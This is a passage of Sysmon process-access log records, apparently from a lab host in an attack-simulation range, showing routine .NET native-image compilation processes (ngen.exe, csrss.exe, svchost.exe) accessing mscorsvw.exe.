C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00109A070C00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00109A070C00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00109A070C00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00109A070C00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00109A070C00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00109A070C00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C00A0C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C00A0C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C00A0C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C00A0C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C00A0C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C00A0C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001050B70B00}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001050B70B00}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001050B70B00}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001050B70B00}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 